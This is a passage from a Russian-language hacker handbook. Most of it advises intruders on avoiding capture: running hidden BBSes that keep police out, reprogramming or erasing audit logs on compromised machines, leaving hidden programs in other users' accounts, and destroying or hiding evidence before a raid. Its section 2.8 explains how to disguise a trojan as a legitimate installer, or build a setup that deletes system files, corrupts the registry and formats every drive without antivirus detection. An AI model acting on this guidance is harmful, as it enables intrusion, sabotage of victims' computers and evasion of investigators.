сообщение “НЕПРАВИЛЬНО ВВЕДЕНЫ ВХОДНЫЕ ДАННЫЕ”, — системные операторы, как
минимум, обеспокоятся. Это означает, что вам уже не удастся получить никакой
информации по телефону, а также возможно изменение паролей всех легальных
пользователей либо чистка неиспользуемых бюджетов, которая, впрочем, может
облегчить вход. С другой стороны, если вы испытываете теплые чувства по
отношению к той или иной системе, и не хотите, чтобы ей был причинен вред (и вас
мало беспокоит то, что вы можете в нее никогда больше не вернуться), вы можете
принять решение известить операторов обо всех маленьких недостатках, которые вы
обнаружили в их замечательной системе. Во многих случаях вам просто не поверят.
Они могут даже не потрудиться проверить ваши сообщения, либо потому, что уверены
в собственной непогрешимости, либо потому, что примут вашу информацию за
какую-то уловку, да бог знает, почему еще. Но если они действительно поверят вам
и примут ваши советы, они будут весьма благодарны и, если вы попросите, наградят
вас доступом невысокого уровня или сообщат какие-нибудь интересные сведения.
Скажите им, что вы будете их неофициальным “советником по безопасности”.
Некоторые из них с радостью примут ваше предложение, хотя остальные предпочтут
больше не иметь с вами дела.
Защита BBS
Этот раздел посвящен двум предметам безопасного использования BBS хакерами:
хакер-пользователь и хакер — системный оператор. Эти две ипостаси тесно
взаимосвязаны, поскольку системные операторы одной BBS могут в то же время
являться пользователями других. Вы должны применять эти меры предосторожности на
всех BBS, которые вы используете и запускаете, и не стоит связываться с
системами, которые не обеспечивают высокой степени хакерской безопасности.
Не помещайте сообщений, содержащих сведения о нелегальной деятельности на BBS, в
безопасности которых вы не уверены полностью. Не следует также расписывать свои
хакерские достижения в своей личной электронной переписке. В случае, если вы
всерьез увлечены электронными системами объявлений, постарайтесь всеми силами
подружиться с “неблагонадежными” системами, если не хотите портить себе
перспективу вашего дальнейшего существования в компьютерном мире. Но всегда
следует убедиться, что ваши сообщения на этих досках никак не втянут вас ни во
что криминальное. Поймите меня правильно. Я вовсе не утверждаю, что размещение
хакерских сообщений на хакерских BBS гарантирует вам безопасность — это совсем
не так. В случае, если вы начали делиться информацией с другими хакерами на
хакерской BBS, вам лучше убедиться, что системный оператор соблюдает следующие
меры предосторожности: ложный фасад, спрятанные полдоски, полная двойная
анонимность, шифровка и проверка намерений.
Самым главным аспектом любой хакерской группы, клуба или BBS является
секретность. Настоящая хакерская BBS не станет давать рекламу, поскольку не
нуждается в новых членах. Хакерская BBS снаружи может казаться очень домашней,
этакой семейной BBS, но стоит набрать кодовое слово, не указанное в меню, ввести
один-два пароля — и вот вы вошли в секретную область. Хакерская BBS должна также
заботиться о своей безопасности, разрешая вход в секретные разделы только
определенным пользователям, чтобы не дать несанкционированным
хакерам-пользователям или псевдо хакерам взломать ваше место сбора. Любая
хакерская BBS, пренебрегающая этими простыми правилами, необходимыми, чтобы
казаться легальной, является несерьезной, опасной, и с ней не следует иметь
дела. Многие BBS делают еще большие с глупости — я встречал такие системы, для
получения доступа в секретные разделы которых достаточно было набрать в качестве
пароля слова вроде “DEATH” (“СМЕРТЬ”) или даже “PASSWORD” (“ПАРОЛЬ”). Нечего и
говорить, что информация, которую можно найти на таких досках, не обладает
высокой ценностью, и обычно состоит из взаимной перебранки между пользователями.
Ни один новый пользователь не должен быть допущен на хакерскую BBS до тех пор,
пока один или несколько действительных пользователей не смогут подтвердить, что
он не из полиции, что он будет соблюдать принятые в данном сообществе нормы
поведения, располагает полезной информацией и умеет держать язык за зубами.
В качестве системного оператора вы можете получить удовольствие, составляя
список правил, определяющих процедуру приема на BBS новых членов. Помните о том,
что, пока новый человек не будет принят на BBS, он не должен даже знать о ее
существовании. Это позволит вам избежать встречи с полицейскими и сделать
секреты системы доступными только для самых лучших хакеров. Как только новый
человек будет принят, частная информация о нем должна быть стерта из памяти
компьютера.
Вообще, поразмыслите о тех BBS, членом которых вы являетесь на данный момент.
Нет ли среди них таких, которые могут накрыть во время полицейской облавы? Лаже
если ни вы сами, ни остальные члены системы не совершают никаких нелегальных
действий в данной системе, федеральным агентам на это наплевать. В случае, если
вы не хотите оказаться замешанным в деле о компьютерном преступлении, даже
незначительном, попросите оператора подпольной BBS, членом которой вы являетесь,
заменить вашу личную информацию — имя, адрес, телефон, — на ложную. В случае,
если вы решили распрощаться с какой-либо BBS, обязательно информируйте оператора
о том, что вы хотите, чтобы ваша информация была уничтожена. (Одна из вполне
законных — с точки зрения хакера, конечно, — причин для взлома BBS — именно
желание убедиться, что такая информация была изменена или уничтожена.)
Обязательно проделывайте все эти вещи, поскольку блюстители порядка обожают
заставать хакеров врасплох. В случае, если представитель закона не сомневается в
том, что конкретный хакер пользовался конкретной хакерской BBS, он может и сам
совершить взлом, чтобы добраться до настоящего имени этого хакера. Так или
иначе, убедитесь в том, что ваши настоящие данные никогда не всплывут в мутной
водице.
Прежде чем мы продолжим разговор о том, что следует делать, будучи системным
оператором хакерской BBS, я хотел бы привести наглядный пример того, что
случается с хакерами, которые НЕ следуют приведенным выше советам. В 1986 году в
Детройте появилась BBS с простым, но высокопарным названием — “The Board” (игра
слов — доска или министерство, совет и т.п.). Доска использовала компьютер
НР2000, и влекла к себе хакеров и кракеров (а также тех, кто только хотел стать
таковыми) отовсюду, 20-го августа при загрузке в систему на экране появлялось
следующее сообщение:
Добро пожаловать на "осиную" BBS команды (1-ТЕАМ) МАЙКА ВЕНАЛАНА! (Компьютерное
обеспечение - BOARDSCAN) 66 мегабайт 300, 1200 бод - 24 часа. У нас есть (3)
линии - и ни одной занятой. 313-ХХХ-ХХХХ
В случае, если в тот день вы вызывали систему и читали новые сообщения, вас
могло удивить такое сообщение:
Доска объявлений:
Общая информация и BBS
Сообщение: 41 Заголовок: ВАС НАДУЛИ!!!
Кому: ВСЕМ
От кого: ГЛАВНЫЙ ТЕХНИК Отправлено: 8,20,86 @ 12.08 часов
Приветствуем:
Вы находитесь на THE BOARD, "осиной" BBS, оператор МАЙК ВЕНАЛАНА из команды
WDIV-TV. Цель:
продемонстрировать и задокументировать существование криминальной и потенциально
противозаконной деятельности хакеров и телефонных мошенников, или так
называемого "хакерского сообщества".
Благодарим вас за сотрудничество. В течение последних полутора месяцев мы
получили от вас информацию всех видов, которая обнаруживает ваше участие в
подделке кредитных карточек, телефонных счетов, вандализме и, возможно, в
насильственном проникновении в государственные компьютеры либо компьютеры
общественной безопасности. Самое главное, теперь у нас есть ваши объявления,
ваши электронные адреса, и - что важнее всего - ваши НАСТОЯЩИЕ имена и адреса.
Что мы собираемся со всем этим делать? Не уходите с канала News 4. Я планирую
специальные серии докладов о наших экспериментах с THE BOARD, которую посещали
пользователи от побережья до побережья, а также пользователи Канады в возрасте
от 12 до 48 лет. Наши постоянные пользователи знали меня как ГЛАВНОГО ТЕХНИКА,
не считая других ID. Джон Максфилд из Boardscan являлся нашим консультантом и
обеспечил нам НР2000, который поддерживал это "осиное гнездо". С помощью
ретрансляции звонков и других современных средств, которые стали возможными
благодаря телефонной технологии, данная BBS взаимодействовала с удаленными
пользователями, находясь непосредственно здесь, в Детройте. Когда будут готовы
наши доклады? Через несколько недель мы собираемся непосредственно вступить в
контакт с многими из вас, подключив полицию и агентов по безопасности из
компаний по производству кредитных карточек и из телефонных служб. Докладов
будет чертовски много. Спасибо за помощь. И не затрудняйте себя излишним
беспокойством. Помните - у нас есть ВАШИ настоящие имена.
Майк Вендланд, WDIV, Detroit, Ml.
Доска объявлений:
Основная информация и BBS
Сообщение: 42
Заголовок: BOARDSCAN
Кому: ВСЕМ
От кого: КОСИЛЬШИК Отправлено: 8,20,86 @ 3.31 часа
Это Джон Максфилд из Boardscan (1). Приветствую! Просьба отправлять все бомбы
Майку Вендланду из WDIV, Detroit. Эта доска - его идея. КОСИЛЬШИК (он же Cable
Pair)
Нужны ли здесь какие-либо комментарии? Теперь вы видите, что люди, которые
охотятся за хакерами — то есть, за ВАМИ, — отнюдь не просто тупые копы. Максфилд
знал достаточно, чтобы придумать прозвища “k001”, типа Косильщика (The Reaper) и
Cable Pair.
Пароль для новых пользователей, желающих попасть в систему, был HEL-N555,Elite,3
— неплохой пароль, если принять во внимание его происхождение. Максфилды
разбираются в хакерстве не хуже, чем мы с вами. Они знают нашу культуру, жаргон
и способ мышления. Последнее причиняет особенно много неприятностей, а значит,
вам следует обладать своим собственным стилем мышления. Вы не станете хакером
высшего класса, пока не научитесь полностью использовать свой здравый смысл.
Помните об этом, вызывая BBS. У нас есть право запускать свои собственные BBS и
обмениваться информацией с их помощью. Но информацию с хакерской доски вы вряд
ли стали бы показывать своей матушке.
Заявления типа “На данной BBS запрошены любые противозаконные дискуссии...”
бесполезны, но они могут послужить дополнением к следующему утверждению: многие
традиционные законы против хакерства говорят о “намеренном причинении вреда”.
Можно ли доказать, что хакер или кракер умышленно повредил компьютер? В случае,
если вы основали хакерскую BBS или клуб, вы должны убедиться в честности
намерений ее участников. Пусть они подпишут соглашение о том, что они никогда не
нанесут умышленного вреда чужому компьютеру или его содержимому, что обмен
информацией, которая появляется на BBS, имеет под собой исключительно
познавательную цель, что никакие обсуждения нелегальной деятельности не станут
преследоваться и т. д. Таким образом члены BBS будут следовать вашему своду
правил “хакерского кодекса чести”, который может появляться на экране во время
прохождения процедуры загрузки. Такое соглашение, возможно, и не убережет вас от
столкновения с законом, но позволит вам достичь двух целей: нарушившие
соглашение члены BBS будут исключаться; а судьи, благодаря ему, возможно,
поверят, что ваша BBS — всего-навсего невинный кружок для людей, которых
объединяет общее хобби. Системным операторам стоит заставить участников своей
BBS подписать такое соглашение еще и затем, чтобы в случае рейда блюстителей
закона пользователи могли на законном основании потребовать вернуть им деньги за
разрушенное оборудование, потерянное время, ложные аресты, причиненное
беспокойство.
Электронную почту следует всегда держать под рукой, чтобы можно было истолковать
в свою пользу “Акт о неприкосновенности электронных коммуникаций”. Данный акт
предусматривает арест каждого служителя закона, который прочтет электронную
почту, являющуюся частной в течение 180 дней. Подобное же, впрочем, ждет каждого
пользователя, хранящего свою почту на вашей BBS. Итак, если ваши веселые хакеры
подпишут такое соглашение и у каждого пользователя будет храниться образец
электронной почты (которая может обновляться каждые 180 дней), вам следует
продемонстрировать все это вторгшимся на вашу территорию полицейским. Можно
сделать для них специальное сообщение о том, что, в соответствии с законом,
некоторые хранящиеся в данной системе материалы и электронная почта, а также
сама система и компьютер, на котором она расположена, по закону являются
неприкосновенной частной собственностью. Как системный оператор, можете
попросить их довести до вашего сведения любую информацию о незаконной
деятельности в рамках системы, если таковая будет обнаружена, поскольку вы “не
потерпите подобного на своей BBS”.
Джон Максфилд, консультант по компьютерной безопасности, просматривает BBS в
поисках свидетельств хакерской деятельности, а обнаружив их, информирует об этом
компанию, подвергшуюся взлому. Вы сами знаете, как хрупка бывает компьютерная
безопасность. Размещая сообщения или посылая электронную почту на BBS, вы словно
открываете ее всему миру. Не позволяйте таким вот охотникам на хакеров копаться
в ваших личных делах.
Другие меры по обеспечению безопасности в режиме онлайн
В случае, если вы станете следовать какой-либо определенной схеме, вам станет
проще жить, но зато другим будет легче найти то, что вы хотели бы спрятать, и
заметить вас, когда вы предпочли бы остаться незамеченным. Один работник
нефтяной компании попросил системного менеджера каждый раз до начала
компьютерного сеанса устанавливать для него временные резервные записи, чтобы он
мог прочесть их перед тем, как приступить к работе. Менеджер сразу заподозрил,
что этот человек ищет резервные данные, которые сохраняли до него на этих лентах
другие сотрудники. Этого промышленного шпиона, как и многих других, поймали
из-за того, что он действовал в рамках определенных установок. Преступники, в
том числе и хакеры, любят создавать планы своих действий. Но любой придуманный
вам план должен содержать в себе элементы случайности. Не позволяйте себе всегда
делать вызовы удаленного компьютера в одной то же время, использовать одни и те
же рабочие станции или телефоны, поскольку в один прекрасный день, придя на
излюбленное вами место, вы можете обнаружить, что некто поджидает вас там с
парой наручников.
Однажды мне в руки попал список номеров социальной безопасности: это был первый
урок в компьютерном классе, и профессор попросил студентам сделать для него
список с их именами и номерами, чтобы затем создать их компьютерные бюджеты. Я
подождал, пока бюджеты будут созданы, но не стал перебирать все подряд. Вместо
этого я вводил новое имя через каждые несколько часов чтобы создать впечатление,
что это разные люди входят в систему под своими именами. После первой загрузки
система попросила меня сменить мой пароль. После этого мне удалось использовать
команду изменения паролей операционной системы, чтобы настоящий пользователь
смог войти в нее, введя свой номер социальной безопасности. Но в каждой из
пользовательских директорий я оставил спрятанную программу, дабы позднее
использовать ее для удаленного просмотра файлов и игр. В случае, если вы
попадете в ситуацию, когда будете не в состоянии сменить измененный вами пароль
обратно на пароль легального пользователя, попытайтесь снова ввести пароль,
подобный номеру социальной безопасности — например, 123-45-6780 вместо
123-45-6789, словно вводивший пароль ошибся клавишей. Переходя от одного
взломанного бюджета к следующему, важно изменить также свой образ действия. Как
вам известно, оказавшись в системе, следует постараться создать новый бюджет для
себя. Но всегда используйте разное имя и пароль, причем вводимые данные должны
иметь как можно меньше отношения к реальным данным о вашей персоне.
Журналы регистрации (Log-файлы)
Вам не составит труда заставить производителей продукции по компьютерной защите
послать вам по электронной почте всю информацию об их товарах. Для меня имеет
значение, в основном, такое программное обеспечение, которое незаметно следит за
тем, что происходит в системе, проверяет ресурсы системы на предмет
неправильного и беспорядочного использования и ведет журнал регистрации на диске
или в распечатках. Сотрудник компании может заглянуть в журнал и сказать себе:
“Ого! М-р Полтри каждый раз входит в систему в три часа ночи. Странно... Надо бы
поговорить с ним...” Внезапно вы оказываетесь в опасной ситуации, даже не зная
об этом. Производя исследования конкретного компьютера, который вы собираетесь
взломать, вы узнаете, какие из программ компьютерной защиты используются в
данном случае (можно узнать об этом у системных операторов, прикинувшись
консультантом по компьютерам, или зайти в библиотеку компании и заглянуть в
справочник). Закажите у производителя программ по защите образцы его продукции,
чтобы “знать своего врага в лицо”. Журналы регистрации могут предупреждать
администраторов обо всех ваших привычках. Даже если вы не собираетесь
обзаводиться привычками, вы, возможно, станете причиной каких-либо проблем, что
также будет отражено в журнале регистрации. В случае, если вы не собираетесь
немедленно покидать взломанный компьютер, а, например, хотите выходить из него в
сеть, вы должны обнаружить следящую программу компьютерной зашиты и обезвредить
ее. Не стоит разрушать такую программу, просто перепрограммируйте ее так, чтобы
она оставляла без внимания ваш вход в систему. Или выясните, каким образом она
ведет запись происходящего и посмотрите нельзя ли уничтожить записи вашей
деятельности. В случае, если вы сможете это сделать — прекрасно, значит, вам,
скорее всего, достался корневой доступ. В случае, если вы в течение некоторого
времени загружались одним и тем же образом, вам надо изменить соответствующие
записи, чтобы создать впечатление случайности при прохождении входных процедур.
Возможно, вам также удастся использовать команду установки времени или даты,
чтобы в свою очередь следить за следящей программой.
Внимание!
Очень многие хакеры, пытаясь осторожно отредактировать записи следящей программы
со своими действиями, обнаруживали к своему ужасу, что уничтожили больше, чем
требовалось. Другие пытались оказать помощь, очищая грязную программу и т.п.,
что приводило к различным несчастьям. Всегда создавайте резервные копии,
особенно на компьютерах, которые принадлежат не вам. В случае, если вам
необходимо изменить чужой файл, изменяйте его копию. Затем убедитесь, что
сделали все правильно, и только после этого уничтожайте оригинал и
переименовывайте копию.
Одни из простейших задач, которую выполняют большинство следящих программ и
многие средства зашиты ОС — запись неудачных попыток входа в систему. Для того,
чтобы узнать, каким образом избранный вами компьютер реагирует на неправильные
входные данные, вам опять же понадобятся исследования. Некоторые программы
позволяют сделать три-четыре попытки ввода комбинации имя, пароль, после чего
перезагружаются, сохраняя последнюю попытку. В этом случае вместо ввода
последнего пароля лучше нажать Control-C или что-то другое, позволяющее
вернуться к предыдущему уровню взаимодействия.
Следящие программы могут стать досадной помехой при такой большой работе, как
атака с помощью грубой силы. В случае, если получится, попробуйте написать
программу для перебора паролей так, чтобы обмануть журнал регистрации. Можно
обратиться прямо к аппаратному обеспечению, или, в зависимости от того, какие
вещи записывает журнал, переименовать могущие показаться подозрительными
команды.
Распечатанные журналы являются большой проблемой. Можно попытаться изменить
записи на ленте или диске, но что если программа защиты одновременно делает
распечатку происходящего? Тут-то ничего уже не исправишь. Не допускайте ошибок.
Ограничьте подозрительную деятельность до тех пор, пока не сможете вывести из
строя принтер. Возможно, вам удастся запрограммировать принтер на печать
несуществующим шрифтом, или если принтер цветной, на печать таким цветом,
которого нет на ленте или картридже. Конечно, если вы действуете по телефонной
линии, вам неизвестно, какое оборудование используется. Впрочем, существует еще
возможность заставить компьютер выводить данные на другой, несуществующий
принтер. Иногда удается даже заставить компьютер думать, что он выводит данные
на принтер, в то время как они идут через его модем — в таком случае, вы будете
получать репортажи о своей собственной деятельности.
Более неприятная разновидность журналов регистрации ведет запись: кто из
пользователей что сделал, когда и почему. В некоторых компаниях сотрудники
заносят в журнал все телефонные звонки, а каждый месяц сравнивают сделанные
записи с телефонными счетами. В случае, если вы проникнете в офис и станете
делать удаленные вызовы, вас легко обнаружат. Лаже если вы занимаетесь этим
дома, или в телефонной будке, журнал может вас засечь. Компании могут заносить в
журнал приход и уход сотрудников и то, как используется оборудование. В этом
случае нельзя допустить ни малейшей ошибки.
“В людях” и на местности
Занятия хакерством на людях — взлом общественных компьютеров или терминалов,
социальная инженерия, даже исследования в библиотеке — гораздо опаснее, нежели
занятия хакерством у себя дома. В этом случае появляется дополнительная
опасность того, что вас узнают или арестуют.
Выбирая место для “публичного” хакерства, используйте проверенные взломщические
уловки. Когда взломщик входит в дом, он прежде всего находит все выходы. Не
садитесь за компьютер, от которого можно убежать только в одном направлении.
Взломщик всегда рад любому кусту, за которым можно спрятаться; постарайтесь
выбрать компьютер, который был бы каким-то образом “спрятан”, если за спиной у
вас будет стена, а впереди — что-то еще, никто не сможет заглянуть вам через
плечо.
Никогда не позволяйте себе забыть, где вы находитесь, увлекшись работой. Ведь
именно это и происходит с обычными пользователями, когда вы занимаетесь
“подглядыванием через плечо”. Хакер должен думать о безопасности больше, чем
легальный пользователь. Приготовьте правдоподобную историю на случай, если вас
заметят. Одевайтесь соответственно случаю, и всегда в чистую одежду. Наконец,
помните, что в компьютерном зале почти всегда найдется хотя бы один хакер или
кракер. Опасайтесь “подглядывателей” и прочих хитрецов. Сидя за общественным
компьютером, я всегда несколько раз нажимаю клавишу Break перед окончательной
загрузкой, на случай, если кто-то установил поддельную программу-ловушку. При
выходе тоже соблюдайте осторожность. Некоторые терминалы снабжены буфером
экрана. Этот буфер после выхода из системы часто не очищается сразу, и вы можете
со спокойной душой выйти из-за компьютера, оставив на нем запись всех
проделанных вами действий.
Связь с компьютером прервана: минимизация потерь
Но что, если все эти советы вам не помогут, и вас все-таки поймают? Стоит
подготовиться к такому повороту событий, чтобы блюстители закона не могли найти,
в чем бы вас обвинить.
Сопровождение вашего компьютера
Следует регулярно просматривать файлы, хранящиеся на вашем компьютере, и
уничтожать те, которые вы незаконно присвоили. Не просто стирайте их:
записывайте на их место тексты, состоящие из единственного повторяющегося
символа, шифруйте самыми сложными ключами, и только затем стирайте. Можно
использовать программу “Wipefile”. Тогда компьютерным копам не к чему будет
придраться. Помните, что иногда куски файлов теряются, или отрываются от
основной части, или дублируются где-нибудь на диске. Регулярно ищите таких
“сироток” и стирайте их, если они содержат что-то нелегальное. Любой файл,
который вы не можете просто уничтожить, надо шифровать и, в идеале, скрывать под
не вызывающим подозрений именем.
На вашем компьютере могут быть и другие вещи, которые можно использовать в
качестве обвинения против вас: терминальные программы, автонаборы, базы данных с
номерами модемов и кодов доступа, списки номеров BBS и т. п. Для того, чтобы
сделать их безопасными, наряду с программными “замками” на своем компьютере я
использую замки физические.
Прежде чем начать работу, мои компьютеры проверяют, был ли набран на клавиатуре
определенный ключ. В случае, если компьютер загружается, не обнаружив ключа, он
знает: что-то не так. Тогда он вызывает подпрограмму времени и даты, которая
показывает правильное время и дату, тем самым давая мне возможность
откорректировать их. Я должен ввести определенные время и дату, в противном же
случае компьютер выдаст сообщение “ИДЕТ ЗАГРУЗКА МЕНЮ” и перенесет директорию, в
которой я храню все свои безобразия. Там тоже будет открытое меню, но в него
никто не сможет войти или выйти из него, не введя правильный пароль. К счастью,
мои компьютеры ни разу не конфисковали. В случае, если это произойдет, мне жаль
того простака, которому придется продираться сквозь насаженные мною дебри; все
мои системы настроены на уничтожение незаконного содержимого в определенных
ситуациях. Даже если он подготовится к этому, он не сможет узнать, как это
предотвратить!
Как хранить остальные материалы
В случае, если у служителя закона имеется ордер на ваш арест, он сможет
совершенно легально забрать все ваши компьютеры, периферийное оборудование,
чистые дискеты и аудиокассеты, коммерческое программное обеспечение и
документацию, распечатки, телефоны и т.п. — любое электронное оборудование,
равно как и любые бумаги, подтверждающие, что вы являетесь владельцем этого
оборудования, книги, журналы — все, что угодно. Именно так и происходит во время
полицейских рейдов. Вдобавок, если преступления, в которых вы подозреваетесь,
связаны с конкретным местом или человеком, у вас заберут любые свидетельства
того, что существует связь между этим местом, или личностью, и совершенным
преступлением. Ордера на арест пишутся специально для того, чтобы узаконить
захват такого количества предметов, и будьте уверены — они возьмут все, что
захотят. И не рассчитывайте, что вам хоть что-то вернут. Именно поэтому вначале
я упоминал, что хакеру необязательно иметь собственный компьютер.
Печально, но факт — вам лучше всего прятать свое имущество, когда вы не
находитесь дома или не пользуетесь им. Распечатки и заметки лучше хранить в
папках с названиями типа “Школьные сочинения”, написанными крупными буквами, —
тогда они, может быть, и не привлекут внимания. Весьма распространен миф о том,
что компьютерные распечатки якобы не могут использоваться на суде в качестве
вещественного доказательства, так как их легко подделать. На самом деле
распечатки являются таким же доказательством, как и любые другие записи, если
удастся доказать, что они были сделаны во время подготовки или совершения
незаконных действий. Распечатки, сделанные позднее, и не вами, доказательством
не являются. Но, с другой стороны, если в памяти вашего компьютера хранятся
свидетельства ваших незаконных действий, блюстители закона найдут способ
представить их суду в качестве доказательства. (Правда, они настолько любят
разбивать конфискованные компьютеры, что вам, право же, не о чем беспокоиться!)
Пряча свое имущество, важно сделать так, чтобы оно выглядело как нечто, не
имеющее отношения к компьютерам или электронике. Офицеры полиции умудряются
получать такие ордера, которые разрешают им забирать все, что имеет хотя бы
отдаленное отношение к электричеству. Например, незаконная информация подпольно
распространяется на аудиокассетах. Конечно, мы поместим подобную информацию на
купленные в магазине кассеты с надписями вроде “Битлз”, но копы знают об этом, и
захотят забрать все наши записи, включая и те, которые выглядят совсем невинно.
Хакеры обмениваются информацией и хранят записи на дискетах. Значит, если у вас
есть коробка подобных дискет, вы не можете просто наклеить на них этикетки с
названиями игр — вас все равно заподозрят. К тому же, полиция вряд ли станет
разбираться с надписями на дискетах. Значит, вам придется спрятать сами дискеты,
способом, не имеющим отношения к технике. То же самое относится и к прочему
электронному оборудованию. Так, я храню свои резервные дискеты в коробке из-под
крекеров — при этом я не являюсь параноиком. Мой лаптоп хранится в большой
коробке из-под хлопьев на верхней полке чулана. Мне так спокойнее. Вы уже
знаете, что компании и предприятия могут оставлять ценную информацию в мусорных
баках. Вам необходимо осознать, что и ваш мусор может так же пригодиться тому,
кто хочет обвинить вас в компьютерном преступлении. Все подобные отходы следует
сначала подвергать необратимому разрушению, а затем уносить подальше от дома.
Распечатки намачивайте, и лишь затем разрывайте. Содержимое дискет шифруйте,
потом уничтожайте. Дискеты размагничивайте сильным магнитом, потом крошите на
куски. Это не сумасшествие — методы восстановления уничтоженной электронным
способом информации существуют. После все это можно выбросить в общественный
мусорный контейнер. Я не шучу! Следуйте этим советам — и на вас не навесят ярлык
“похитителя промышленных секретов”!
Как сделать так, чтобы вас поймали
На этот раз я хотел бы предложить вам список методов, которые НЕ НАДО
использовать, иначе у вас будут неприятности. Вот пять способов, с помощью
которых можно схватить хакера за руку:
1. С помощью слежки или техническими средствами.
2. С помощью доносчика.
3. Объединив против него несколько агентств.
4. По его ошибке.
5. Узнав его.
Вас могут поймать, выследив по телефонным линиям или другими техническими
средствами, вроде журналов регистрации. Так что не оставляйте за собой следов.
Все время меняйте компьютеры и телефоны, с которых вы делаете удаленные вызовы.
На вас могут донести. Будьте осторожны, общаясь с другими хакерами. Не
рассказывайте всем подряд о своих достижениях. Прежде всего, обращайтесь с
людьми, с которыми ведете разговоры о хакерстве или вместе занимаетесь
хакерством, так, как вам хотелось бы, чтобы они обращались с вами. В случае,
если на вас станут охотиться сразу много агентств, вас непременно поймают. Не
крадите, не разрушайте, не занимайтесь вандализмом. У хакеров и так неважная
репутация, в основном, потому, что большинство пытающихся практиковать хакерство
— это прыщавые псевдоанархисты старшего школьного возраста. В случае, если вы
соблюдаете хакерскую этику, на вас не станут устраивать травлю. Вас могут
поймать из-за вашей собственной ошибки. Ошибкой является несоблюдение
нижеследующих предосторожностей.
Всегда подумайте, прежде чем действовать. Не раскрывайте никаких сведений о
себе. Не забывайте уничтожать, а не стирать, резервные файлы; это особенно
касается временных файлов, которые создаются без вашего участия, автоматически.
В случае, если вы будете осторожны, вам удастся практически полностью избежать
ошибок. Но даже самый осторожный хакер может попасться, веруя в стопроцентный
успех своего плана действий, тогда как на деле в нем куча недостатков. Например,
в 1974 году преступник в Токио пытался использовать одно из основных свойств
электронной передачи данных — задержку, которая происходит в то время, когда
данные идут по кабелям или телефонным линиям. Преступник открыл банковский счет,
использовав фальшивое имя Кобаяши, и начал потихоньку перетягивать небольшие
суммы из банкоматов, разбросанных по всей Японии. Каждый раз, перетащив немного
денег, он звонил в банк, чтобы узнать текущее состояние своего счета. Таким
образом ему удалось выяснить, что центральному компьютеру банка требуется
двадцать минут, чтобы зарегистрировать отток денег с удаленной машины. Позднее
Кобаяши решил воспользоваться этой информацией. Он перевел на свой счет 5
миллионов иен, рассчитав, что у него в запасе будет двадцать минут, чтобы унести
ноги, пока служащие банка станут ожидать, когда главный компьютер получит
информацию о том, с какого автомата была снята такая сумма. План провалился —
Кобаяши не подумал, что программисты банка смогу перепрограммировать центральный
компьютер для немедленной идентификации использованной преступником машины.
Грабитель не успел снять со счета свои деньги, как его схватили.
Просматривайте свои планы на случай неожиданных поворотов, и помните, что по ту
сторону линии могут быть люди, стремящиеся вас схватить. И, наконец, вас могут
узнать. Постарайтесь не выделяться среди массы людей. Самый надежный способ
никогда не попасться — никогда не начинать заниматься хакерством. Тогда все, что
вы сможете делать с компьютером, — это заниматься делами, решать задачки и
иногда играть. Но, занявшись хакерством, вы приобретете целый мир. Вот и все.
Желаю всем нам еще много мирных счастливых взломов!
2.8. Что такое инсталляция?
Давай сразу к делу — мы ж с тобой хацкеры, а не чат-гёлз какие-нибудь. Итак,
когда ты покупаешь (скачиваешь, нелегально приобретаешь) прогу, то в большинстве
случаев для ее установки требуется запустить файл setup, где сначала тебе дают
почитать лицензионное соглашение, потом выбрать директорию и все такое. Обычно,
чтобы сделать такую установочную приблуду, программеры используют какой-нибудь
install maker. Я упражнялся с Vise Installer (это как раз программка такого
типа), поэтому все, что тут написано, относится к нему... Эта полезная штучка,
предназначенная, на первый взгляд, для сугубо мирных целей, в умелых руках
становится мощным оружием (как булыжник в руках пролетариата).
Первым делом скачиваешь (или находишь где-нибудь на сборнике) Vise
(www.mindvision.com — там надо заполнить разную регистрационную шнягу, но это
уже мелочи). Ломать ее, конечно, надо, но как, пояснять не буду.
Надо работать!
Маскируешь свое детище под дистрибутив какой-нибудь очень полезной проги,
указываешь это в Screens. Всячески хвалишь и рекламируешь, добавляешь красивые
картинки (настройка экранов осуществляется в меню screen посредством кнопки add
screen). Самое простое — это запаковать в инсталлер твоего любимого трояна и в
конце установки предложить юзверю его запустить или же создать в меню “пуск”
ярлычок с красивой иконкой для запуска все того же трояна. Не правда ли —
эстетично? Все для удобства пользователя, все для него, для ламера ушастого.
Но троян — это, если честно, прозаично, а ведь можно придумать что-нибудь
повеселее. Ведь в процесс установки можно добавлять разный аction (типа создания
директории, удаления директории, внесения изменений в реестр и т.д.). Вот с этим
и можно поприкалываться от души.
Смело жмешь “add\ delete action” и выбираешь там то, что будешь ампутировать
жертве... Количество вариантов ограничено только твоей фантазией. В качестве
мелкой пакости можно стереть все ярлыки из главного меню, в качестве большой
заподлянки — директорию Windows, или autoexec.bat (config.sys, msdos.sys,
io.sys...). Никто не помешает тебе подправить win.ini на свое усмотрение. Ты
сможешь забить вражеский винт всяким дерьмом по самые уши используя copy action.
Можно даже загадить registry (тут придется попотеть, для каждого типа файлов
надо будет добавлять Register file type, причем, надо не забывать ставить в
опциях галочку на “Dont ask user to replace if already registred”, а то жертва
начнет подозревать...).
А каково будет изумление юзверя, когда при открытии *.txt или *.wav файла у него
будет запускаться что-нибудь не относящееся к делу! Одним словом — почва для
вендетты любого масштаба тебе просто прописана, все ограничивается только
извращенностью твоей фантазии. Ну а для того, чтобы юзверя окончательно хватил
дядька Кондратий, можно предложить ему в процессе установить DirectX 2.0 или
показать какую-нить картинку с www.ob.da.ru. В конце установки можно предложить
на выбор обычное или низкоуровневое форматирование всех дисков, включая сетевые
и CD-ROM. Да, кстати, можно создавать также и Uninstaller'ы, причем неумело
созданный анинсталлер убивает regestry, так вот...
Что? Ты еще сомневаешься? Нет, парень, это точно твой случай — неужели ты
никогда не мечтал ненавязчиво пошутить над каким-нибудь ламерком? Давай, хватай
Вайс Инсталлер, и вперед — творить, работать и создавать шедевры
западлостроения.
Защита
А нет ее. Нет и все тут. Конечно, если ты в setup впаяешь трояна, то AVP его
рюхнет, а вот если будешь делать гадости через сам сетап, то ни один антивирус
ничего не унюхает. Ну что, господа разработчики, об этой фишечке вы не
задумывались никогда? Вот теперь подумайте. Удачи!
2.9. Основы создания скриптов
Внимай, даю установку: скрипты — это круто. Ты это знаешь, я это знаю, короче —
мы это знаем. Установку дал! Успешно. Теперь о них — любимых скриптах — и
поговорим. Приятно наваять своими ручками какую-нибудь скриптятину на яве и дать
соседу-ламаку пропереться, а пока тот будет ее разглядывать — дать ему пинка.
Вот только бага: по ходу все клевое в скриптинге уже придумано. Предложить
что-либо кардинально новое (во всяком случае, мне) уже сложно, лучше пива попить
пойти. С другой стороны, можно легко насочинять целый ворох вторичных вещей,
которые при ближайшем рассмотрении сведутся к нагромождению все тех же базовых
